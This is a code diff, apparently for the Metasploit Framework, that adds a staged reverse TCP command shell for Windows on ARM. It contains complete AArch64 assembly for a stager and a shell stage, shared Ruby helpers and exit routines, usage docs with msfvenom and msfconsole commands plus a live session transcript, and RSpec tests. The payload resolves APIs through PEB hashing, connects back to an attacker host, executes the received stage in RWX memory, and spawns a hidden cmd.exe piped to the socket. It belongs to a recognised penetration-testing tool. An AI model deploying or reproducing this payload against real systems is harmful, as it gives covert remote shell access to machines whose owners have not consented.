diff --git a/documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md b/documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md new file mode 100644 index 0000000000000..ac77a6aa4c179 --- /dev/null +++ b/documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md @@ -0,0 +1,75 @@ +## Vulnerable Application + +This is a staged reverse TCP command shell for Windows on ARM (AArch64). +It targets native AArch64 Windows processes (Windows on ARM), not x86/x64 +emulation. + +Compatible environments include: + +* Windows 11 on ARM (native AArch64) +* Windows 10 on ARM (native AArch64) + +There is no specific vulnerable application -- this is a payload module +used with a compatible exploit or generated as a standalone executable +via `msfvenom`. + +## Verification Steps + +1. Start msfconsole +1. Do: `use exploit/multi/handler` +1. Do: `set PAYLOAD windows/aarch64/shell/reverse_tcp` +1. Do: `set LHOST [attacker IP]` +1. Do: `set LPORT 4444` +1. Do: `run` +1. On a Windows on ARM target, execute a PE generated with: + `./msfvenom -p windows/aarch64/shell/reverse_tcp LHOST=[attacker IP] LPORT=4444 -f exe -o staged.exe` +1. You should get a Windows command shell session + +## Options + +### EXITFUNC + +Exit technique used after the stage spawns `cmd.exe`. Accepted values: +`process`, `thread`, `none`, `seh`. (Default: `process`) + +`seh` clears the unhandled exception filter via +`SetUnhandledExceptionFilter(NULL)` and then branches to address 0 for a +predictable crash (same tactic as the x86/x64 Windows payloads). + +## Scenarios + +### Windows 11 on ARM (UTM VM) -- staged reverse TCP + +Attacker host: macOS at `192.168.0.164`. Target: Windows 11 ARM64 +build `10.0.26200.8875` in a UTM VM. + +``` +$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \ + LHOST=192.168.0.164 LPORT=6666 \ + -f exe -o test.exe +[*] Payload size: 716 bytes +[*] Final size of exe file: 6656 bytes +[*] Saved as: test.exe + +$ ./msfconsole -qx "use exploit/multi/handler; \ + set PAYLOAD windows/aarch64/shell/reverse_tcp; \ + set LHOST 192.168.0.164; set LPORT 6666; run" +[*] Started reverse TCP handler on 192.168.0.164:6666 +[*] Sending stage (420 bytes) to 192.168.0.164 +[*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:50013) + +Shell Banner: +Microsoft Windows [Version 10.0.26200.8875] +----- + +C:\Users\user\Downloads>whoami +windows\user + +C:\Users\user\Downloads>hostname +Windows + +C:\Users\user\Downloads>ipconfig +Windows IP Configuration +Ethernet adapter Ethernet: + IPv4 Address. . . . . . . . . . . : 10.0.2.15 +``` diff --git a/lib/msf/core/payload/windows/aarch64.rb b/lib/msf/core/payload/windows/aarch64.rb new file mode 100644 index 0000000000000..523bd3c3a4d23 --- /dev/null +++ b/lib/msf/core/payload/windows/aarch64.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +module Msf + # Shared helpers for Windows ARCH_AArch64 payloads (PEB/EAT ROR-13 + # hashing and the aarch64 gem assembler glue). + module Payload::Windows::Aarch64 + # + # ROR-13 hash of a kernel32/ws2_32 export name, matching the asm + # find_function routine (stops on CBZ before adding the NUL). + # + # @param str [String] export name without trailing NUL + # @return [Integer] 32-bit hash + # + def ror13_hash(str) + h = 0 + str.each_byte do |b| + h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF + h = (h + b) & 0xFFFFFFFF + end + h + end + + # + # Assemble an AArch64 asm string to raw bytes via the aarch64 gem. + # + # @param asm_string [String] + # @return [String] raw shellcode + # + def compile_aarch64(asm_string) + require 'aarch64/parser' + parser = ::AArch64::Parser.new + asm = parser.parse(without_inline_comments(asm_string)) + asm.to_binary + end + + # + # Strip `//` comments and blank lines so the aarch64 gem parser is happy. + # + # @param string [String] + # @return [String] + # + def without_inline_comments(string) + string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") + end + end +end diff --git a/lib/msf/core/payload/windows/exitfunk_aarch64.rb b/lib/msf/core/payload/windows/exitfunk_aarch64.rb new file mode 100644 index 0000000000000..c77c5f40ef5b6 --- /dev/null +++ b/lib/msf/core/payload/windows/exitfunk_aarch64.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- + +module Msf + # + # Exit routines for Windows ARCH_AArch64 payloads. + # + # Mirrors +Msf::Payload::Windows::Exitfunk_x64+: process/thread/none call a + # kernel32 exit API resolved by ROR-13 hash; seh clears the unhandled + # exception filter then branches to NULL for a predictable crash. + # + module Payload::Windows::Exitfunk_Aarch64 # rubocop:disable Naming/ClassAndModuleCamelCase + include Msf::Payload::Windows::Aarch64 + + # + # ROR-13 hash of the kernel32 API used for the given EXITFUNC value. + # For +seh+ this is SetUnhandledExceptionFilter (the call sequence is + # built by {#asm_exitfunk_aarch64}, not the generic exit-API stub). + # + # @param value [String, nil] EXITFUNC datastore value + # @return [Integer] + # + def exitfunk_hash(value) + case value.to_s.downcase + when 'thread' + ror13_hash('ExitThread') + when 'seh' + ror13_hash('SetUnhandledExceptionFilter') + when 'none' + # Still need a real call so execution does not fall into garbage. + ror13_hash('ExitProcess') + when 'process', '' + 0x78b5b983 # TerminateProcess + else + 0x78b5b983 + end + end + + # + # AArch64 assembly for the +exitfunk+ label. + # + # Expects kernel32 base at +[x29, #0x00]+ and +&find_function+ at + # +[x29, #0x08]+ (same slot table as the Windows AArch64 payloads). + # + # @option opts [String] :exitfunk One of process, thread, none, seh + # @return [String] assembly including the +exitfunk:+ label + # + def asm_exitfunk_aarch64(opts = {}) + exitfunk = opts[:exitfunk].to_s.downcase + hash = exitfunk_hash(exitfunk) + exit_lo = hash & 0xFFFF + exit_hi = (hash >> 16) & 0xFFFF + + if exitfunk == 'seh' + <<~ASM + exitfunk: + ldr x3, [x29, #0x00] + movz w0, ##{format('0x%04x', exit_lo)} + movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + mov x10, x0 + mov x0, xzr + blr x10 + br xzr + ASM + else + <<~ASM + exitfunk: + ldr x3, [x29, #0x00] + movz w0, ##{format('0x%04x', exit_lo)} + movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + mov x10, x0 + movn x0, #0 + mov w1, wzr + blr x10 + brk #0 + ASM + end + end + end +end diff --git a/lib/msf/core/payload/windows/reverse_tcp_aarch64.rb b/lib/msf/core/payload/windows/reverse_tcp_aarch64.rb new file mode 100644 index 0000000000000..f092884f10811 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_tcp_aarch64.rb @@ -0,0 +1,269 @@ +# -*- coding: binary -*- + +module Msf + # Windows AArch64 reverse_tcp stager payload generation. + # + # Empirically validated on Windows on ARM (build 10.0.26200). Uses + # kernel32!FlushInstructionCache for portable icache maintenance - + # user-space dc cvau / ic ivau trap as STATUS_ILLEGAL_INSTRUCTION on + # WoA SoCs that leave SCTLR_EL1.UCI clear. + # + # Naming uses ReverseTcp_Aarch64 to match lib/msf_autoload.rb inflection + # for reverse_tcp_aarch64.rb (same pattern as ReverseTcp_x64). + module Payload::Windows::ReverseTcp_Aarch64 # rubocop:disable Naming/ClassAndModuleCamelCase + include Msf::Payload::Windows + include Msf::Payload::Windows::Aarch64 + include Msf::Payload::Windows::Exitfunk_Aarch64 + + def generate(_opts = {}) + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + exitfunk: datastore['EXITFUNC'] + } + generate_reverse_tcp(conf) + end + + # + # Generate and compile the AArch64 reverse_tcp stager. + # + # @option opts [Integer] :port The port to connect to + # @option opts [String] :host The IPv4 address to connect to + # @option opts [String] :exitfunk The exit method (process, thread, none, seh) + # @return [String] raw shellcode bytes + # + def generate_reverse_tcp(opts = {}) + lhost = opts[:host] + unless Rex::Socket.is_ipv4?(lhost) + raise ArgumentError, 'LHOST must be in IPv4 format.' + end + + ip_bytes = Rex::Socket.addr_aton(lhost) + port_imm = [opts[:port].to_i].pack('n').unpack1('v') + ip_lo_imm = ip_bytes[0, 2].unpack1('v') + ip_hi_imm = ip_bytes[2, 2].unpack1('v') + + asm = build_stager_asm( + port_imm: port_imm, + ip_lo_imm: ip_lo_imm, + ip_hi_imm: ip_hi_imm, + exitfunk: opts[:exitfunk] + ) + compile_aarch64(asm) + end + + # + # Msf::Payload::Windows#handle_intermediate_stage already sends the + # 4-byte little-endian length prefix when RequiresMidstager is false. + # + + protected + + def build_stager_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exitfunk:) + # Slot table (x29 + offset): + # 0x00 kernel32_base 0x08 &find_function 0x10 VirtualAlloc + # 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup + # 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache + # 0x50 sockaddr_in 0x70 WSADATA + asm = <<~ASM + main: + sub sp, sp, #0x300 + mov x29, sp + add x19, x29, #0x50 + add x21, x29, #0x70 + find_kernel32: + ldr x6, [x18, #0x60] + ldr x6, [x6, #0x18] + ldr x6, [x6, #0x30] + next_module: + ldr x3, [x6, #0x10] + ldr x7, [x6, #0x40] + ldr x6, [x6] + ldrh w8, [x7, #24] + cbnz w8, next_module + find_function_shorten: + b find_function_shorten_bnc + find_function_ret: + str x30, [x29, #0x08] + b resolve_symbols_kernel32 + find_function_shorten_bnc: + bl find_function_ret + find_function: + mov w10, w0 + ldr w8, [x3, #0x3c] + add x8, x8, x3 + ldr w9, [x8, #0x88] + add x9, x9, x3 + ldr w4, [x9, #0x18] + ldr w11, [x9, #0x20] + add x11, x11, x3 + find_function_loop: + cbz w4, find_function_finished + sub w4, w4, #1 + mov w15, w4 + lsl x15, x15, #2 + add x15, x11, x15 + ldr w12, [x15] + add x6, x12, x3 + compute_hash: + mov w5, wzr + compute_hash_again: + ldrb w0, [x6], #1 + cbz w0, compute_hash_finished + ror w5, w5, #13 + add w5, w5, w0 + b compute_hash_again + compute_hash_finished: + find_function_compare: + cmp w5, w10 + b.ne find_function_loop + ldr w12, [x9, #0x24] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #1 + add x15, x12, x15 + ldrh w4, [x15] + ldr w12, [x9, #0x1c] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #2 + add x15, x12, x15 + ldr w13, [x15] + add x0, x13, x3 + find_function_finished: + ret + resolve_symbols_kernel32: + str x3, [x29, #0x00] + movz w0, #0x4e8e + movk w0, #0xec0e, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x18] + movz w0, #0xca54 + movk w0, #0x91af, lsl #16 + ldr x3, [x29, #0x00] + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x10] + movz w0, #0x0980 + movk w0, #0x5312, lsl #16 + ldr x3, [x29, #0x00] + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x48] + load_ws2_32: + movz x0, #0x7357 + movk x0, #0x5f32, lsl #16 + movk x0, #0x3233, lsl #32 + movk x0, #0x642e, lsl #48 + movz w1, #0x6c6c + sub sp, sp, #16 + str x0, [sp] + str w1, [sp, #8] + mov x0, sp + ldr x9, [x29, #0x18] + blr x9 + add sp, sp, #16 + mov x3, x0 + resolve_ws2_32: + movz w0, #0xedcb + movk w0, #0x3bfc, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x28] + movz w0, #0x09d9 + movk w0, #0xadf5, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x30] + movz w0, #0xba0c + movk w0, #0xb32d, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x38] + movz w0, #0x19b6 + movk w0, #0xe718, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x20] + call_WSAStartup: + movz w0, #0x0202 + mov x1, x21 + ldr x9, [x29, #0x28] + blr x9 + call_WSASocket: + mov w0, #2 + mov w1, #1 + mov w2, #6 + mov x3, xzr + mov w4, wzr + mov w5, wzr + ldr x9, [x29, #0x30] + blr x9 + mov x22, x0 + fill_sockaddr_fast: + movz x0, #0x0002 + movk x0, ##{format('0x%04x', port_imm)}, lsl #16 + movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 + movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 + stp x0, xzr, [x19] + call_WSAConnect: + mov x0, x22 + mov x1, x19 + mov w2, #16 + mov x3, xzr + mov x4, xzr + mov x5, xzr + mov x6, xzr + ldr x9, [x29, #0x38] + blr x9 + recv_stage_length: + mov x0, x22 + mov x1, x19 + mov w2, #4 + mov w3, wzr + ldr x9, [x29, #0x20] + blr x9 + cmp w0, #4 + b.ne exitfunk_prep + ldr w24, [x19] + call_VirtualAlloc: + mov x0, xzr + mov x1, x24 + movz w2, #0x3000 + movz w3, #0x0040 + ldr x9, [x29, #0x10] + blr x9 + cbz x0, exitfunk_prep + mov x23, x0 + recv_stage_loop_init: + mov x25, x23 + mov x26, x24 + recv_stage_loop: + mov x0, x22 + mov x1, x25 + mov x2, x26 + mov w3, wzr + ldr x9, [x29, #0x20] + blr x9 + cmp w0, #0 + b.le exitfunk_prep + add x25, x25, x0, sxtw + sub x26, x26, x0, sxtw + cbnz x26, recv_stage_loop + icache_flush: + movn x0, #0 + mov x1, x23 + mov x2, x24 + ldr x9, [x29, #0x48] + blr x9 + jump_to_stage: + mov x0, x22 + br x23 + exitfunk_prep: + b exitfunk + ASM + asm + asm_exitfunk_aarch64(exitfunk: exitfunk) + end + end +end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 528789fd8e9ab..42315748312aa 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -181,6 +181,7 @@ def custom_inflections 'pe_inject' => 'PEInject', 'reverse_tcp_x86' => 'ReverseTcp_x86', 'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64', + 'exitfunk_aarch64' => 'Exitfunk_Aarch64', 'ruby_dl' => 'RubyDL', 'wmic' => 'WMIC', 'net_api' => 'NetAPI', diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb index d26b16cce6128..22678f0c6ee3a 100644 --- a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -9,6 +9,8 @@ module MetasploitModule CachedSize = 664 include Msf::Payload::Windows + include Msf::Payload::Windows::Aarch64 + include Msf::Payload::Windows::Exitfunk_Aarch64 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -54,16 +56,11 @@ def generate(_opts = {}) ip_lo_imm = ip_bytes[0, 2].unpack1('v') ip_hi_imm = ip_bytes[2, 2].unpack1('v') - # The exitfunk block re-resolves the chosen kernel32 exit API by hash - # at runtime; we patch the two MOVZ/MOVK immediates with the hash. - exit_hash = exitfunk_hash(datastore['EXITFUNC']) - asm = build_asm( port_imm: port_imm, ip_lo_imm: ip_lo_imm, ip_hi_imm: ip_hi_imm, - exit_lo: exit_hash & 0xFFFF, - exit_hi: (exit_hash >> 16) & 0xFFFF + exitfunk: datastore['EXITFUNC'] ) compile_aarch64(asm) @@ -71,39 +68,7 @@ def generate(_opts = {}) private - # ROR-13 hash of a kernel32 export name, matching the asm find_function - # routine. The asm stops on CBZ before adding the NUL terminator, so we - # hash bytes only (no trailing zero). - # - # Sanity checks (verified against rev2.s constants): - # ror13_hash('TerminateProcess') == 0x78b5b983 - # ror13_hash('LoadLibraryA') == 0xec0e4e8e - # ror13_hash('CreateProcessA') == 0x16b3fe72 - def ror13_hash(str) - h = 0 - str.each_byte do |b| - h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF - h = (h + b) & 0xFFFFFFFF - end - h - end - - def exitfunk_hash(value) - case value.to_s.downcase - when 'thread' - ror13_hash('ExitThread') - when 'process', '' - 0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess')) - when 'none' - # 'none' is best-effort here: we still need *something* to call so the - # shellcode doesn't fall off into garbage. ExitProcess is the safest. - ror13_hash('ExitProcess') - else - 0x78b5b983 - end - end - - def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) + def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exitfunk:) # Differences from the standalone rev2.s prototype: # - `.text` / `.global` directives stripped (aarch64 gem rejects them) # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; @@ -119,7 +84,7 @@ def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) # Gaps at 0x10 and 0x20 are intentional -- previously held cached # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken # (was unused dead code), preserved to keep slot offsets stable. - <<~ASM + asm = <<~ASM main: sub sp, sp, #0x300 mov x29, sp @@ -303,7 +268,8 @@ def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) mov w0, #0x68 str w0, [x11, #0x00] - mov w0, #0x100 + // STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wShowWindow stays 0 (SW_HIDE) + mov w0, #0x101 str w0, [x11, #0x3C] str x22, [x11, #0x50] str x22, [x11, #0x58] @@ -321,7 +287,8 @@ def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) mov x2, xzr mov x3, xzr mov w4, #1 - mov w5, wzr + // CREATE_NO_WINDOW — hides cmd/conhost on modern Windows (0x101 alone is not enough) + movz w5, #0x0800, lsl #16 mov x6, xzr mov x7, xzr stp x11, x10, [sp] @@ -330,29 +297,7 @@ def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) blr x9 add sp, sp, #0xB0 - - exitfunk: - ldr x3, [x29, #0x00] - movz w0, ##{format('0x%04x', exit_lo)} - movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 - ldr x9, [x29, #0x08] - blr x9 - mov x10, x0 - movn x0, #0 - mov w1, wzr - blr x10 - brk #0 ASM - end - - def compile_aarch64(asm_string) - require 'aarch64/parser' - parser = ::AArch64::Parser.new - asm = parser.parse(without_inline_comments(asm_string)) - asm.to_binary - end - - def without_inline_comments(string) - string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") + asm + asm_exitfunk_aarch64(exitfunk: exitfunk) end end diff --git a/modules/payloads/stagers/windows/aarch64/reverse_tcp.rb b/modules/payloads/stagers/windows/aarch64/reverse_tcp.rb new file mode 100644 index 0000000000000..8083ea961db58 --- /dev/null +++ b/modules/payloads/stagers/windows/aarch64/reverse_tcp.rb @@ -0,0 +1,30 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 716 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcp_Aarch64 + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Windows AArch64 Reverse TCP Stager', + 'Description' => 'Connect back to the attacker (Windows AArch64)', + 'Author' => [ 'vinicius-batistella' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockx0', + 'Stager' => { 'RequiresMidstager' => false } + ) + ) + end +end diff --git a/modules/payloads/stages/windows/aarch64/shell.rb b/modules/payloads/stages/windows/aarch64/shell.rb new file mode 100644 index 0000000000000..a46c877f9ab1a --- /dev/null +++ b/modules/payloads/stages/windows/aarch64/shell.rb @@ -0,0 +1,166 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Windows + include Msf::Payload::Windows::Aarch64 + include Msf::Payload::Windows::Exitfunk_Aarch64 + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Windows AArch64 Command Shell', + 'Description' => %q{ + Spawn a piped command shell on Windows on ARM (AArch64) (staged). + Expects an open TCP socket handle in x0 at entry (convention sockx0). + Resolves CreateProcessA via PEB / Export Address Table hashing and + launches cmd.exe with stdin/stdout/stderr redirected to the socket + via STARTF_USESTDHANDLES. + }, + 'Author' => [ 'vinicius-batistella' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_AARCH64, + 'Session' => Msf::Sessions::CommandShellWindows, + 'PayloadCompat' => { + 'Convention' => 'sockx0' + }, + 'Stage' => { + 'Payload' => '' + } + ) + ) + end + + def generate_stage(_opts = {}) + asm = build_stage_asm(exitfunk: datastore['EXITFUNC']) + compile_aarch64(asm) + end + + private + + def build_stage_asm(exitfunk:) + asm = <<~ASM + main: + mov x22, x0 + sub sp, sp, #0x100 + mov x29, sp + find_kernel32: + ldr x6, [x18, #0x60] + ldr x6, [x6, #0x18] + ldr x6, [x6, #0x30] + next_module: + ldr x3, [x6, #0x10] + ldr x7, [x6, #0x40] + ldr x6, [x6] + ldrh w8, [x7, #24] + cbnz w8, next_module + find_function_shorten: + b find_function_shorten_bnc + find_function_ret: + str x30, [x29, #0x08] + b resolve_symbols_kernel32 + find_function_shorten_bnc: + bl find_function_ret + find_function: + mov w10, w0 + ldr w8, [x3, #0x3c] + add x8, x8, x3 + ldr w9, [x8, #0x88] + add x9, x9, x3 + ldr w4, [x9, #0x18] + ldr w11, [x9, #0x20] + add x11, x11, x3 + find_function_loop: + cbz w4, find_function_finished + sub w4, w4, #1 + mov w15, w4 + lsl x15, x15, #2 + add x15, x11, x15 + ldr w12, [x15] + add x6, x12, x3 + compute_hash: + mov w5, wzr + compute_hash_again: + ldrb w0, [x6], #1 + cbz w0, compute_hash_finished + ror w5, w5, #13 + add w5, w5, w0 + b compute_hash_again + compute_hash_finished: + find_function_compare: + cmp w5, w10 + b.ne find_function_loop + ldr w12, [x9, #0x24] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #1 + add x15, x12, x15 + ldrh w4, [x15] + ldr w12, [x9, #0x1c] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #2 + add x15, x12, x15 + ldr w13, [x15] + add x0, x13, x3 + find_function_finished: + ret + resolve_symbols_kernel32: + str x3, [x29, #0x00] + movz w0, #0xfe72 + movk w0, #0x16b3, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x40] + build_PROCESS_INFORMATION_and_STARTUPINFOA: + sub sp, sp, #0xB0 + add x10, sp, #0x10 + add x11, sp, #0x30 + add x12, sp, #0xA0 + stp xzr, xzr, [x10] + str xzr, [x10, #16] + stp xzr, xzr, [x11, #0x00] + stp xzr, xzr, [x11, #0x10] + stp xzr, xzr, [x11, #0x20] + stp xzr, xzr, [x11, #0x30] + stp xzr, xzr, [x11, #0x40] + stp xzr, xzr, [x11, #0x50] + str xzr, [x11, #0x60] + mov w0, #0x68 + str w0, [x11, #0x00] + // STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wShowWindow stays 0 (SW_HIDE) + mov w0, #0x101 + str w0, [x11, #0x3C] + str x22, [x11, #0x50] + str x22, [x11, #0x58] + str x22, [x11, #0x60] + movz x0, #0x6D63 + movk x0, #0x2E64, lsl #16 + movk x0, #0x7865, lsl #32 + movk x0, #0x0065, lsl #48 + str x0, [x12] + call_CreateProcessA: + mov x0, xzr + mov x1, x12 + mov x2, xzr + mov x3, xzr + mov w4, #1 + // CREATE_NO_WINDOW — hides cmd/conhost on modern Windows (0x101 alone is not enough) + movz w5, #0x0800, lsl #16 + mov x6, xzr + mov x7, xzr + stp x11, x10, [sp] + ldr x9, [x29, #0x40] + blr x9 + add sp, sp, #0xB0 + ASM + asm + asm_exitfunk_aarch64(exitfunk: exitfunk) + end +end diff --git a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb index 5cea850f82a81..c6dc69a92589e 100644 --- a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb +++ b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb @@ -52,7 +52,7 @@ def stub_compile_with_capture expect(raw_default).not_to eq(raw_other) end - %w[process thread none].each do |exitfunc| + %w[process thread none seh].each do |exitfunc| context "when EXITFUNC is #{exitfunc}" do it 'compiles successfully' do stub_compile_with_capture @@ -62,6 +62,15 @@ def stub_compile_with_capture end end + it 'produces different shellcode for EXITFUNC=seh than process' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = 'process' + raw_process = subject.generate + subject.datastore['EXITFUNC'] = 'seh' + raw_seh = subject.generate + expect(raw_seh).not_to eq(raw_process) + end + context 'when LHOST is not IPv4' do it 'raises ArgumentError for an IPv6 LHOST' do subject.datastore['LHOST'] = '2001:db8::1' diff --git a/spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb b/spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb new file mode 100644 index 0000000000000..3855bba72ac7d --- /dev/null +++ b/spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb @@ -0,0 +1,97 @@ +# frozen_string_literal: true + +require 'rspec' + +RSpec.describe 'stagers/windows/aarch64/reverse_tcp' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'windows/aarch64/shell/reverse_tcp', + ancestor_reference_names: [ + 'stagers/windows/aarch64/reverse_tcp', + 'stages/windows/aarch64/shell' + ] + ) + end + + before(:each) do + subject.datastore.merge!('LHOST' => '192.0.2.1', 'LPORT' => '4444') + end + + describe '#generate' do + def stub_compile_with_capture + captured = [] + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + compiled_asm = original.call asm + expect(compiled_asm.length).to be > 0 + captured << compiled_asm + compiled_asm + end + captured + end + + it 'compiles the AArch64 asm and returns a non-empty binary' do + stub_compile_with_capture + expect(subject.generate).not_to be_empty + end + + it 'produces a 716-byte stager' do + stub_compile_with_capture + expect(subject.generate.length).to eq(716) + end + + it 'produces different shellcode for different LPORT values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LPORT'] = '9999' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + it 'produces different shellcode for different LHOST values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LHOST'] = '198.51.100.7' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + %w[process thread none seh].each do |exitfunc| + context "when EXITFUNC is #{exitfunc}" do + it 'compiles successfully' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = exitfunc + expect(subject.generate).not_to be_empty + end + end + end + + it 'produces different shellcode for EXITFUNC=seh than process' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = 'process' + raw_process = subject.generate + subject.datastore['EXITFUNC'] = 'seh' + raw_seh = subject.generate + expect(raw_seh).not_to eq(raw_process) + end + + context 'when LHOST is not IPv4' do + it 'raises ArgumentError for an IPv6 LHOST' do + subject.datastore['LHOST'] = '2001:db8::1' + expect { subject.generate }.to raise_error(ArgumentError, /LHOST must be in IPv4 format/) + end + + it 'raises ArgumentError for an IPv6 loopback LHOST' do + subject.datastore['LHOST'] = '::1' + expect { subject.generate }.to raise_error(ArgumentError, /LHOST must be in IPv4 format/) + end + + it 'raises ArgumentError for a hostname LHOST' do + subject.datastore['LHOST'] = 'www.example.com' + expect { subject.generate }.to raise_error(ArgumentError, /LHOST must be in IPv4 format/) + end + end + end +end diff --git a/spec/modules/payloads/stages/windows/aarch64/shell_spec.rb b/spec/modules/payloads/stages/windows/aarch64/shell_spec.rb new file mode 100644 index 0000000000000..d76aec0e07c4c --- /dev/null +++ b/spec/modules/payloads/stages/windows/aarch64/shell_spec.rb @@ -0,0 +1,84 @@ +# frozen_string_literal: true + +require 'rspec' + +RSpec.describe 'stages/windows/aarch64/shell' do + include_context 'Msf::Simple::Framework#modules loading' + + # Stages are not standalone payloads; load the combined staged pair. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'windows/aarch64/shell/reverse_tcp', + ancestor_reference_names: [ + 'stagers/windows/aarch64/reverse_tcp', + 'stages/windows/aarch64/shell' + ] + ) + end + + before(:each) do + subject.datastore.merge!( + 'LHOST' => '192.0.2.1', + 'LPORT' => '4444', + 'EXITFUNC' => 'process' + ) + end + + describe '#generate_stage' do + def stub_compile_with_capture + captured = [] + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + compiled_asm = original.call asm + expect(compiled_asm.length).to be > 0 + captured << compiled_asm + compiled_asm + end + captured + end + + it 'compiles the AArch64 asm and returns a non-empty binary' do + stub_compile_with_capture + expect(subject.generate_stage).not_to be_empty + end + + it 'produces a 420-byte stage' do + stub_compile_with_capture + expect(subject.generate_stage.length).to eq(420) + end + + it 'starts with mov x22, x0 (preserve socket handle)' do + stub_compile_with_capture + # Encoding of `mov x22, x0` is 0xaa0003f6 (LE: f6 03 00 aa) + expect(subject.generate_stage[0, 4]).to eq("\xf6\x03\x00\xaa".b) + end + + %w[process thread none seh].each do |exitfunc| + context "when EXITFUNC is #{exitfunc}" do + it 'compiles successfully' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = exitfunc + expect(subject.generate_stage).not_to be_empty + end + end + end + + it 'produces different shellcode for different EXITFUNC values' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = 'process' + raw_process = subject.generate_stage + subject.datastore['EXITFUNC'] = 'thread' + raw_thread = subject.generate_stage + expect(raw_process).not_to eq(raw_thread) + end + + it 'produces different shellcode for EXITFUNC=seh than process' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = 'process' + raw_process = subject.generate_stage + subject.datastore['EXITFUNC'] = 'seh' + raw_seh = subject.generate_stage + expect(raw_seh).not_to eq(raw_process) + end + end +end diff --git a/spec/modules/payloads_spec.rb 